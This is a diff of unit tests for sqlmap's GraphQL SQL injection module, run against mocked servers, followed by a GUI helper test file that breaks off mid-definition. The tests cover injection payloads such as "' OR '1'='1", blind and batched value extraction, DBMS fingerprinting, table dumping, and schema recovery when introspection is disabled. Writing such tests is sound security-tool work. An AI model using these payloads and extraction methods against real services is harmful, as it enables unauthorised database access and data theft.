"User", "ofType": None}}, + {"name": "login", "args": [ + {"name": "username", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + {"name": "password", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + ], "type": {"kind": "OBJECT", "name": "AuthPayload", "ofType": None}}, + {"name": "version", "args": [], + "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "SCALAR", "name": "String"}, + {"kind": "SCALAR", "name": "Int"}, + {"kind": "SCALAR", "name": "Float"}, + {"kind": "SCALAR", "name": "ID"}, + {"kind": "OBJECT", "name": "User", "fields": [ + {"name": "id", "args": [], "type": {"kind": "SCALAR", "name": "Int", "ofType": None}}, + {"name": "name", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "AuthPayload", "fields": [ + {"name": "token", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "user", "args": [], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + ] + }} +} + + +def _slot(opType, rootName, fieldName, argName, strategy="string", + returnKind="OBJECT", returnType="User", + returnSel="{ id name }", allArgs=None): + """Test helper: build a minimal Slot with sensible defaults""" + if allArgs is None: + argType = {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}} + if strategy == "numeric": + argType = {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}} + elif strategy == "id_dual": + argType = {"kind": "SCALAR", "name": "ID"} + allArgs = [(argName, argType, None)] + return gi.Slot(opType, rootName, fieldName, allArgs, argName, strategy, + returnKind, returnType, returnSel) + + +# --- Tests ----------------------------------------------------------------- + +class TestGraphqlHelpers(unittest.TestCase): + """Unit tests for type-walking, classification, and response parsing""" + + def test_unwrap_simple_scalar(self): + chain = gi._unwrapType({"kind": "SCALAR", "name": "String"}) + self.assertEqual(chain, [("SCALAR", "String")]) + + def test_unwrap_non_null(self): + chain = gi._unwrapType({"kind": "NON_NULL", "name": None, + "ofType": {"kind": "SCALAR", "name": "String"}}) + self.assertEqual(chain, [("NON_NULL", None), ("SCALAR", "String")]) + + def test_unwrap_list_non_null(self): + chain = gi._unwrapType({"kind": "LIST", "name": None, + "ofType": {"kind": "NON_NULL", "name": None, + "ofType": {"kind": "OBJECT", "name": "User"}}}) + self.assertEqual(chain, [("LIST", None), ("NON_NULL", None), ("OBJECT", "User")]) + + def test_classify_string(self): + self.assertEqual(gi._classifyArg({"kind": "NON_NULL", "ofType": {"kind": "SCALAR", "name": "String"}}), "string") + + def test_classify_int(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "Int"}), "numeric") + + def test_classify_float(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "Float"}), "numeric") + + def test_classify_id(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "ID"}), "id_dual") + + def test_classify_boolean_is_none(self): + self.assertIsNone(gi._classifyArg({"kind": "SCALAR", "name": "Boolean"})) + + def test_escape_graphql_string(self): + self.assertEqual(gi._escapeGraphQLString('test"quote'), 'test\\"quote') + self.assertEqual(gi._escapeGraphQLString("back\\slash"), "back\\\\slash") + + def test_is_graphql_response_with_typename(self): + self.assertTrue(gi._isGraphQLResponse('{"data":{"__typename":"Query"}}')) + + def test_is_graphql_response_parse_error(self): + self.assertTrue(gi._isGraphQLResponse( + '{"errors":[{"message":"Syntax Error: Unexpected ","extensions":{"code":"GRAPHQL_PARSE_FAILED"}}]}')) + + def test_not_graphql_response(self): + self.assertFalse(gi._isGraphQLResponse("hello")) + self.assertFalse(gi._isGraphQLResponse("")) + self.assertFalse(gi._isGraphQLResponse('{"data":{"user":{"id":1}}}')) # no __typename, no graphql error phrasing + + def test_error_text_extraction(self): + err = gi._errorText(DB_ERROR) + self.assertIn("SQL syntax", err) + self.assertIn("check the manual", err) + + def test_error_text_from_parse_failure(self): + err = gi._errorText(GQL_PARSE_ERROR) + self.assertIn("GRAPHQL_PARSE_FAILED", err) + self.assertIn("Syntax Error", err) + + def test_slot_value_from_data(self): + val = gi._slotValue(MATCH) + self.assertIn("luther", val) + self.assertIn("blisset", val) + + def test_slot_value_null(self): + val = gi._slotValue(NOMATCH) + self.assertIn("null", val) + + +class TestGraphqlIntrospection(unittest.TestCase): + """Schema walking and slot enumeration""" + + def test_extract_slots(self): + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + names = [(s.parentType, s.fieldName, s.targetArg, s.strategy) for s in slots] + self.assertIn(("Query", "user", "username", "string"), names) + self.assertIn(("Query", "byId", "id", "numeric"), names) + + def test_login_has_two_args(self): + """login(username: String!, password: String!) -- both required args should be in Slot""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + loginSlots = [s for s in slots if s.fieldName == "login"] + self.assertEqual(len(loginSlots), 2) + for s in loginSlots: + self.assertEqual(len(s.allArgs), 2) # username + password + + def test_scalar_return_has_empty_selection(self): + """version: String -- field with no args produces no slots""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + # version has no args, so it should NOT appear in slots + versionSlots = [s for s in slots if s.fieldName == "version"] + self.assertEqual(len(versionSlots), 0) + + +class TestGraphqlBuildQuery(unittest.TestCase): + """GraphQL query document construction from Slot + value""" + + def test_string_arg(self): + slot = _slot("query", "Query", "user", "username", "string") + q = gi._buildQuery(slot, "luther") + self.assertIn('user(username:"luther")', q) + self.assertIn("{ id name }", q) + + def test_string_injection_payload(self): + slot = _slot("query", "Query", "user", "username", "string") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("' OR '1'='1", q) + + def test_numeric_with_payload_is_empty(self): + """Numeric GraphQL literals cannot carry SQL payloads; _buildQuery returns ''""" + slot = _slot("query", "Query", "byId", "id", "numeric") + q = gi._buildQuery(slot, "1 OR 1=1") + self.assertEqual(q, "") + + def test_numeric_with_valid_integer(self): + slot = _slot("query", "Query", "byId", "id", "numeric") + q = gi._buildQuery(slot, "1") + self.assertIn("byId(id:1)", q) + + def test_id_string(self): + slot = _slot("query", "Query", "get", "uid", "id_dual") + q = gi._buildQuery(slot, "abc") + self.assertIn('get(uid:"abc")', q) + + def test_id_numeric(self): + slot = _slot("query", "Query", "get", "uid", "id_dual") + q = gi._buildQuery(slot, "123") + self.assertIn("get(uid:123)", q) + + def test_two_required_args_renders_both(self): + """login(username: String!, password: String!) -- uninjected sibling gets a default""" + allArgs = [ + ("username", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("password", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "login", allArgs, "password", "string", + "OBJECT", "AuthPayload", "{ token user { id name } }") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("login(", q) + self.assertIn("username:", q) # required sibling rendered + self.assertIn("password:", q) # target arg rendered + self.assertIn("' OR '1'='1", q) + + def test_mutation_wraps_with_mutation_keyword(self): + allArgs = [ + ("id", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}, None), + ("email", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ] + slot = gi.Slot("mutation", "Mutation", "updateUser", allArgs, "email", "string", + "OBJECT", "User", "{ id name }") + q = gi._buildQuery(slot, "x' OR '1'='1") + self.assertTrue(q.startswith("mutation {")) + + +class TestGraphqlBooleanDetection(unittest.TestCase): + """Boolean-based detection via mock oracle""" + + def setUp(self): + self._gql = gi._gqlSend + self._conf = gi.conf + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + pages = {"true": MATCH, "false": NOMATCH} + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: + return pages["true"], 200 + if "'1'='2" in query: + return pages["false"], 200 + return NOMATCH, 200 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + gi.conf = self._conf + + def test_boolean_detected(self): + slot = _slot("query", "Query", "user", "username", "string") + oracleType, template = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNotNone(oracleType) + self.assertIn("boolean-based", oracleType) + + def test_numeric_skipped(self): + slot = _slot("query", "Query", "byId", "id", "numeric") + oracleType, template = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + +class TestGraphqlErrorDetection(unittest.TestCase): + """Error-based detection via mock oracle""" + + def setUp(self): + self._gql = gi._gqlSend + self._conf = gi.conf + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + def fakeSend(endpoint, query, variables=None): + if "'" in query and "'1'='1" not in query: + return DB_ERROR, 500 + return NOMATCH, 200 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + gi.conf = self._conf + + def test_error_detected(self): + slot = _slot("query", "Query", "user", "username", "string") + oracleType, detail = gi._detectError(slot, "http://test/graphql") + self.assertEqual(oracleType, "error-based") + + +class TestGraphqlParseRows(unittest.TestCase): + """JSON data row parsing for in-band dumps""" + + def test_single_object(self): + page = '{"data":{"user":{"id":1,"name":"luther","surname":"blisset"}}}' + slot = _slot("query", "Query", "user", "username", "string") + result = gi._parseRows(page, slot) + self.assertIsNotNone(result) + columns, rows = result + self.assertIn("id", columns) + self.assertIn("name", columns) + self.assertEqual(rows[0][columns.index("name")], "luther") + + def test_list_of_objects(self): + page = '{"data":{"search":[{"id":1,"name":"luther"},{"id":2,"name":"fluffy"}]}}' + slot = _slot("query", "Query", "search", "term", "string") + columns, rows = gi._parseRows(page, slot) + self.assertEqual(len(rows), 2) + names = [r[columns.index("name")] for r in rows] + self.assertIn("luther", names) + self.assertIn("fluffy", names) + + def test_null_returns_none(self): + page = '{"data":{"user":null}}' + slot = _slot("query", "Query", "user", "username", "string") + self.assertIsNone(gi._parseRows(page, slot)) + + def test_non_json_returns_none(self): + self.assertIsNone(gi._parseRows("", None)) + + +class TestGraphqlGrid(unittest.TestCase): + """ASCII table rendering""" + + def test_grid(self): + output = gi._grid(["id", "name"], [["1", "luther"], ["2", "fluffy"]]) + self.assertIn("id", output) + self.assertIn("luther", output) + self.assertIn("fluffy", output) + self.assertIn("+-", output) + self.assertIn("|", output) + + +class TestGraphqlEndpointDetection(unittest.TestCase): + """Mock endpoint detection""" + + def setUp(self): + self._gql = gi._gqlSend + def fakeSend(endpoint, query, variables=None): + if endpoint.endswith("/graphql") and "__typename" in query: + return '{"data":{"__typename":"Query"}}', 200 + return 'Not Found', 404 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_detect_direct_url(self): + endpoint, page = gi._detectEndpoint("http://test/graphql", probePaths=False) + self.assertEqual(endpoint, "http://test/graphql") + + def test_detect_via_probe(self): + endpoint, page = gi._detectEndpoint("http://test", probePaths=True) + self.assertEqual(endpoint, "http://test/graphql") + + def test_not_graphql_endpoint(self): + def fakeSend(endpoint, query, variables=None): + return 'Not Found', 404 + gi._gqlSend = fakeSend + endpoint, page = gi._detectEndpoint("http://test", probePaths=True) + self.assertIsNone(endpoint) + + +class TestGraphqlIntrospectionFallback(unittest.TestCase): + """Introspection without specifiedByURL (older servers)""" + + def setUp(self): + self._gql = gi._gqlSend + self._conf = gi.conf + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + def tearDown(self): + gi._gqlSend = self._gql + gi.conf = self._conf + + def test_fallback_without_specifiedByURL(self): + calls = [] + def fakeSend(endpoint, query, variables=None): + calls.append(query) + if "specifiedByURL" in query: + return '{"errors":[{"message":"Unknown field specifiedByURL"}]}', 400 + return json.dumps(MOCK_SCHEMA), 200 + + gi._gqlSend = fakeSend + schema = gi._introspect("http://test/graphql") + self.assertIsNotNone(schema) + self.assertIn("queryType", schema) + self.assertEqual(len(calls), 2) # first fails, second succeeds + + +class TestGraphqlNestedReturnSelection(unittest.TestCase): + """Nested return selections for object-typed fields within the return type""" + + def test_auth_payload_nested_user(self): + """AuthPayload { token, user { id name } } -- selection must nest user sub-fields""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + loginSlots = [s for s in slots if s.fieldName == "login"] + self.assertTrue(len(loginSlots) > 0) + # The nested selection should include 'user { ... }' at some level + for s in loginSlots: + self.assertIn("token", s.returnSel) + # user sub-fields should appear + self.assertIn("id", s.returnSel) + self.assertIn("name", s.returnSel) + + +class TestGraphqlCell(unittest.TestCase): + """Dump-cell rendering: scalars as text, nested structures as compact JSON, null as NULL""" + + def test_scalar(self): + self.assertEqual(gi._cell("luther"), "luther") + self.assertEqual(gi._cell(7), "7") + + def test_null(self): + self.assertEqual(gi._cell(None), "NULL") + + def test_nested_object_is_json_not_repr(self): + # issue B: a nested object must not leak Python dict syntax into the dump + self.assertEqual(gi._cell({"id": 1, "name": "luther"}), '{"id": 1, "name": "luther"}') + self.assertEqual(gi._cell([1, 2]), "[1, 2]") + + +class TestGraphqlDialects(unittest.TestCase): + """Per-DBMS SQL building blocks""" + + def test_sqlite_ordinal_and_length(self): + d = gi.DIALECTS["SQLite"] + self.assertEqual(d.length("x"), "LENGTH((x))") + self.assertEqual(d.ordinal("x", 3), "UNICODE(SUBSTR((x),3,1))") + + def test_sqlite_row_handles_nulls(self): + d = gi.DIALECTS["SQLite"] + sql = d.row(["name", "surname"], "users", 3) + self.assertIn("LIMIT 1 OFFSET 3", sql) # per-row, not a whole-table GROUP_CONCAT + self.assertIn("COALESCE(CAST(name AS TEXT),'NULL')", sql) + self.assertIn("FROM users", sql) + + def test_mysql_uses_sleep_delay(self): + d = gi.DIALECTS["MySQL"] + self.assertEqual(d.delay("1=1", 5), "IF((1=1),SLEEP(5),0)") + + def test_sqlite_has_no_delay(self): + self.assertIsNone(gi.DIALECTS["SQLite"].delay) + + +def _dbmsTruth(dbms): + """A truth() oracle that behaves like a real `dbms` back-end: it answers each + dialect's fingerprint predicate by the SQL *semantics* a genuine instance would + exhibit, keyed on the function tokens the predicate emits - never on the + fingerprint constant itself. A predicate referencing a function the back-end does + not implement raises an error on a real server and is therefore falsy here.""" + + # Which vendor-specific tokens each back-end actually understands. A predicate is + # true only if every vendor token it mentions belongs to this back-end (mirroring + # an unknown function being a hard error rather than a false comparison). + knows = { + "SQLite": ("SQLITE_VERSION()",), + "Microsoft SQL Server": ("@@VERSION",), + "PostgreSQL": ("version()",), + "MySQL": ("@@VERSION_COMMENT", "@@VERSION"), + } + # @@VERSION exists on both MSSQL and MySQL; the distinguishing factor is the + # '%Microsoft%' banner match, which only an actual Microsoft server satisfies. + vendorTokens = ("SQLITE_VERSION()", "@@VERSION_COMMENT", "@@VERSION", "version()") + owned = knows[dbms] + + def truth(cond): + # Any vendor token the predicate names must be implemented by this back-end, + # else the probe errors out (falsy). + for token in vendorTokens: + if token in cond and token not in owned: + # @@VERSION is shared; let the banner clause below decide instead. + if token == "@@VERSION" and "@@VERSION_COMMENT" not in cond: + continue + return False + if not any(token in cond for token in vendorTokens): + return False + # @@VERSION LIKE '%Microsoft%' is only true on a real Microsoft server. + if "@@VERSION" in cond and "Microsoft" in cond: + return dbms == "Microsoft SQL Server" + # version() LIKE 'PostgreSQL%' is only true on a real PostgreSQL server. + if "version()" in cond and "PostgreSQL" in cond: + return dbms == "PostgreSQL" + return True + + return truth + + +class TestGraphqlFingerprint(unittest.TestCase): + """DBMS fingerprinting drives off the universal truth() predicate""" + + def test_identifies_sqlite(self): + # A SQLite-modelled oracle answers only SQLite's own probe; _fingerprint must + # discriminate to land on SQLite rather than echo the asserted constant. + self.assertEqual(gi._fingerprint(_dbmsTruth("SQLite")), "SQLite") + + def test_identifies_mysql(self): + self.assertEqual(gi._fingerprint(_dbmsTruth("MySQL")), "MySQL") + + def test_identifies_mssql(self): + # @@VERSION is shared with MySQL; only the '%Microsoft%' banner match resolves it. + self.assertEqual(gi._fingerprint(_dbmsTruth("Microsoft SQL Server")), + "Microsoft SQL Server") + + def test_identifies_postgresql(self): + self.assertEqual(gi._fingerprint(_dbmsTruth("PostgreSQL")), "PostgreSQL") + + def test_unknown_backend(self): + self.assertIsNone(gi._fingerprint(lambda cond: False)) + + +def _mockOracle(target): + """A synthetic SQLite-like dialect plus truth/truthBatch closures that answer comparison and bit + predicates against a known `target` string - lets the blind extractors be exercised without HTTP.""" + + dialect = gi.Dialect( + fingerprint="FP", delay=None, banner=None, currentUser=None, currentDb=None, + tableFrom=None, tableCol=None, columnFrom=None, columnCol=None, paginate=None, + length=lambda expr: "LEN(%s)" % expr, + ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos), + row=None) + + def _value(cond): + pos = None + if cond.startswith("LEN("): + value = len(target) + else: # ORD(,) + pos = int(cond[cond.index(",") + 1:cond.rindex(")")]) + value = ord(target[pos - 1]) if pos - 1 < len(target) else 0 + return value + + def truth(cond): + tail = cond[cond.rindex(")") + 1:] # e.g. ">=65" + op = re.match(r"(>=|>|=)", tail).group(1) + num = int(tail[len(op):]) + value = _value(cond) + return {">": value > num, ">=": value >= num, "=": value == num}[op] + + def truthBatch(conditions): + results = [] + for cond in conditions: + bit = re.match(r"\(ORD\(.*?,(\d+)\) & (\d+)\)>0$", cond) + if bit: + pos, mask = int(bit.group(1)), int(bit.group(2)) + value = ord(target[pos - 1]) if pos - 1 < len(target) else 0 + results.append((value & mask) > 0) + else: + results.append(truth(cond)) + return results + + return dialect, truth, truthBatch + + +class TestGraphqlInference(unittest.TestCase): + """Blind value recovery: sequential bisection and bit-parallel batched extraction""" + + def test_sequential_extraction(self): + for target in ("3.45.1", "users,creds", "db3a16990a0008a3b04707fdef6584a0", ""): + dialect, truth, _ = _mockOracle(target) + self.assertEqual(gi._inferExpr(truth, dialect, "EXPR"), target) + + def test_batched_extraction_matches_sequential(self): + for target in ("3.45.1", "users,creds", "luther~~~blisset^^^fluffy~~~bunny"): + dialect, truth, truthBatch = _mockOracle(target) + self.assertEqual(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"), target) + + def test_batched_empty(self): + dialect, truth, truthBatch = _mockOracle("") + self.assertEqual(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"), "") + + +class TestGraphqlDumpTable(unittest.TestCase): + """Whole-table dump: column list + COUNT(*) + one row-scalar per ordinal offset""" + + def test_dump_table(self): + d = gi.DIALECTS["SQLite"] + colFrom = d.columnFrom("users") + responses = { + # columns are enumerated by ordinal position (COUNT + per-index), like rows + "(SELECT COUNT(*) %s)" % colFrom: "2", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", + "(SELECT COUNT(*) FROM users)": "2", + d.row(["id", "name"], "users", 0): "1~~~null", + d.row(["id", "name"], "users", 1): "2~~~luther", + } + + def infer(expr, maxLen=gi.MAX_LENGTH): + return responses.get(expr) + + columns, rows = gi._dumpTable(infer, d, "users") + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["1", "null"], ["2", "luther"]]) + + +class TestGraphqlMakeOracle(unittest.TestCase): + """Universal truth()/truthBatch() primitive built from a slot's true/false contrast""" + + USER_OBJ = {"id": 1, "name": "luther", "surname": "blisset"} + + def setUp(self): + self._gql = gi._gqlSend + + def fakeSend(endpoint, query, variables=None): + if "a0:" in query: # batched, aliased request + data = {} + for m in re.finditer(r'(a\d+):\w+\(\w+:"[^"]*\((1=1|1=2)\)', query): + data[m.group(1)] = self.USER_OBJ if m.group(2) == "1=1" else None + return json.dumps({"data": data}), 200 + if "(1=1)" in query: + return json.dumps({"data": {"user": self.USER_OBJ}}), 200 + return json.dumps({"data": {"user": None}}), 200 + + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_truth_primitive(self): + slot = _slot("query", "Query", "user", "username", "string") + truth, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertIsNotNone(truth) + self.assertTrue(truth("1=1")) + self.assertFalse(truth("1=2")) + + def test_batched_truth(self): + slot = _slot("query", "Query", "user", "username", "string") + _, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertEqual(truthBatch(["1=1", "1=2", "1=1"]), [True, False, True]) + + +class TestVulnserverGraphqlParser(unittest.TestCase): + """The vulnserver's selection parser must survive aliased batches and bracketed payloads""" + + def setUp(self): + from extra.vulnserver import vulnserver + self.vs = vulnserver + + def test_match_skips_quoted_brackets(self): + text = 'user(username:"x\' OR (1=1)-- "){ id }' + end = self.vs._graphql_match(text, text.index("(")) + self.assertEqual(text[end - 1], ")") # the args close-paren, not one inside the string + + def test_single_field(self): + sels = self.vs._graphql_selections('user(username:"luther"){ id name }') + self.assertEqual(sels, [(None, "user", 'username:"luther"')]) + + def test_aliased_batch_with_payloads(self): + body = 'a0:user(username:"x\' OR (1=1)-- "){ id } a1:user(username:"x\' OR (1=2)-- "){ id }' + sels = self.vs._graphql_selections(body) + self.assertEqual([(a, f) for a, f, _ in sels], [("a0", "user"), ("a1", "user")]) + self.assertIn("(1=1)", sels[0][2]) + self.assertIn("(1=2)", sels[1][2]) + + def test_nested_selection_set(self): + sels = self.vs._graphql_selections('login(username:"a", password:"b"){ token user { id name } }') + self.assertEqual(len(sels), 1) + self.assertEqual(sels[0][1], "login") + + +class TestGraphqlSiblingDefaults(unittest.TestCase): + """Required sibling arguments must use their real type, not be hardcoded as strings""" + + def test_numeric_sibling_not_quoted(self): + """field(name: String!, limit: Int!) -- injecting 'name' renders limit:0, not limit:\"0\"""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("limit", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "search", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("limit:0", q) + self.assertNotIn('limit:"0"', q) + + def test_boolean_sibling_gets_default_string(self): + """field(name: String!, active: Boolean!) -- Boolean gets \"x\" since there is no Boolean strategy""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("active", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Boolean", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "toggle", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "test") + self.assertIn('active:"x"', q) + + +class TestGraphqlScalarReturnSelection(unittest.TestCase): + """Scalar and list-of-scalar returns must not get a spurious {__typename} selection""" + + def test_scalar_return_has_no_selection(self): + """version(format: String): String -- no sub-selection""" + allArgs = [ + ("format", {"kind": "SCALAR", "name": "String"}, None), + ] + slot = gi.Slot("query", "Query", "version", allArgs, "format", "string", + "SCALAR", "String", None) + q = gi._buildQuery(slot, "json") + self.assertIn('version(format:"json")', q) + self.assertNotIn("{", q.split(")")[1] if ")" in q else q) + + def test_list_of_scalars_has_no_selection(self): + """tags(prefix: String): [String] -- no sub-selection""" + allArgs = [ + ("prefix", {"kind": "SCALAR", "name": "String"}, None), + ] + slot = gi.Slot("query", "Query", "tags", allArgs, "prefix", "string", + "SCALAR", "String", None) + q = gi._buildQuery(slot, "a") + self.assertIn('tags(prefix:"a")', q) + self.assertNotIn("{", q.split(")")[1] if ")" in q else q) + + +class TestGraphqlUnicodeSafety(unittest.TestCase): + """All string conversions must be safe under Python 2 and 3 for non-ASCII data""" + + def test_escape_graphql_string_unicode(self): + escaped = gi._escapeGraphQLString(u"caf\xe9") + self.assertIn("caf", escaped) + + def test_error_text_unicode(self): + page = u'{"errors":[{"message":"caf\xe9","extensions":{"code":"SYNTAX_ERROR"}}]}' + text = gi._errorText(page) + self.assertIn("caf", text) + + def test_cell_unicode(self): + self.assertIn("caf", gi._cell(u"caf\xe9")) + + +class TestGraphqlSuggestionRecovery(unittest.TestCase): + """G1: schema recovery from 'Did you mean' suggestions when introspection is disabled.""" + + def setUp(self): + self._gql = gi._gqlSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_harvest_suggestions_both_quote_styles(self): + # graphql-js uses double quotes; some servers use single quotes + Oxford 'or' + self.assertEqual( + gi._harvestSuggestions('Cannot query field "x" on type "Query". Did you mean "user" or "search"?'), + ["user", "search"]) + self.assertEqual( + gi._harvestSuggestions("Cannot query field 'x' on type 'Query'. Did you mean 'user', 'me', or 'node'?"), + ["user", "me", "node"]) + self.assertEqual(gi._harvestSuggestions("no suggestion here"), []) + + def test_suggest_fields_from_validation_errors(self): + # An unknown field elicits the closest real field names (graphql-js phrasing) + def fake(endpoint, query, variables=None): + if "{ user }" in query or "{user}" in query: + return '{"data":{"user":null}}', 200 # 'user' is a real (resolving) field + return ('{"errors":[{"message":"Cannot query field \\"%s\\" on type \\"Query\\". ' + 'Did you mean \\"user\\", \\"search\\" or \\"login\\"?"}]}' + % "zz", 200) + gi._gqlSend = fake + fields = gi._suggestFields("http://t/graphql", "query") + for expected in ("user", "search", "login"): + self.assertIn(expected, fields) + + def test_suggest_args_from_unknown_argument(self): + def fake(endpoint, query, variables=None): + return ('{"errors":[{"message":"Unknown argument \\"zz\\" on field \\"Query.user\\". ' + 'Did you mean \\"username\\"?"}]}', 200) + gi._gqlSend = fake + self.assertIn("username", gi._suggestArgs("http://t/graphql", "query", "user")) + + def test_introspect_via_suggestions_builds_slots(self): + def fake(endpoint, query, variables=None): + # introspection-style queries already filtered upstream; here every unknown field + # yields the same suggestion set, and 'search' resolves as a real field + if "{ search }" in query or "{search}" in query: + return '{"data":{"search":[]}}', 200 + if "Unknown argument" in query: # never matches; args fall back to wordlist + return '{}', 200 + return ('{"errors":[{"message":"Cannot query field \\"zz\\" on type \\"Query\\". ' + 'Did you mean \\"search\\"?"}]}', 200) + gi._gqlSend = fake + slots = gi._introspectViaSuggestions("http://t/graphql") + self.assertIsNotNone(slots) + self.assertTrue(any(s.fieldName == "search" for s in slots)) + self.assertTrue(all(s.strategy == "string" for s in slots)) + + def test_introspect_via_suggestions_none_without_suggestions(self): + def fake(endpoint, query, variables=None): + return '{"errors":[{"message":"Syntax Error: unexpected token"}]}', 200 + gi._gqlSend = fake + self.assertIsNone(gi._introspectViaSuggestions("http://t/graphql")) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_gui_helpers.py b/tests/test_gui_helpers.py new file mode 100644 index 00000000000..bc8fc37b3d8 --- /dev/null +++ b/tests/test_gui_helpers.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Parser-introspection helpers in lib/utils/gui.py. The GUI itself needs a live +display (Tk), so it is excluded from the smoke test and never imported there; +these module-level helpers, however, are pure and work on argparse/optparse +parser+option objects. We exercise BOTH backends (argparse natively, optparse +via a lightweight stand-in) so the compatibility branches are walked. Importing +the module also covers its (otherwise-uncovered) top-level definitions. +""" + +import argparse +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import gui + + +class _OptparseLikeOption(object): + """Minimal optparse.Option stand-in (drives the non-argparse branches).""" + def __init__(self, short, long_, dest, help_, type_=None, takes=True): + self._short_opts = [short] if short else [] + self._long_opts = [long_] if long_ else [] + self.dest = dest + self.help = help_ + self.type = type_ + self._takes = takes + + def takes_value(self): + return self._takes + + +class _OptparseLikeGroup(object): + def __init__(self, title, description, options): + self.title = title + self.description = description + self.option_list = options + + def get_description(self): + return self.description + + +def _build_argparse(): + p = argparse.ArgumentParser() + g = p.add_argument_group("Target", "options for the target") + g.add_argument("-u", "--url", dest="url", help="target url") + g.add_argument("--level", dest="level", type=int, help="level", choices=[1, 2, 3]) + g.add_argument("--flag", dest="flag", action="store_true", help="a boolean") + return p, g + + +class TestArgparseBackend(unittest.TestCase): + def setUp(self): + self.parser, self.group = _build_argparse() + + def test_parser_groups_found(self): + groups = gui._parserGroups(self.parser) + titles = [gui._groupTitle(g) for g in groups] + self.assertIn("Target", titles) + + def test_group_options_and_metadata(self): + opts = gui._groupOptions(self.group) + self.assertTrue(opts) + self.assertEqual(gui._groupDescription(self.group), "options for the target") + + def test_opt_accessors(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + url = by_dest["url"] + self.assertIn("--url", gui._optStrings(url)) + self.assertEqual(gui._optHelp(url), "target url") + self.assertTrue(gui._optTakesValue(url)) + self.assertEqual(gui._optValueType(url), "string") + self.assertIn("--url", gui._optionLabel(url)) + + def test_int_type_and_choices(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + level = by_dest["level"] + self.assertEqual(gui._optValueType(level), "int") + self.assertEqual(gui._optChoices(level), [1, 2, 3]) + + def test_store_true_takes_no_value(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + self.assertFalse(gui._optTakesValue(by_dest["flag"])) + + +class TestOptparseBackend(unittest.TestCase): + def setUp(self): + self.opt = _OptparseLikeOption("-u", "--url", "url", "target url", type_="string") + self.intopt = _OptparseLikeOption(None, "--level", "level", "level", type_="int") + self.boolopt = _OptparseLikeOption(None, "--flag", "flag", "flag", takes=False) + self.group = _OptparseLikeGroup("Target", "target opts", [self.opt, self.intopt, self.boolopt]) + + def 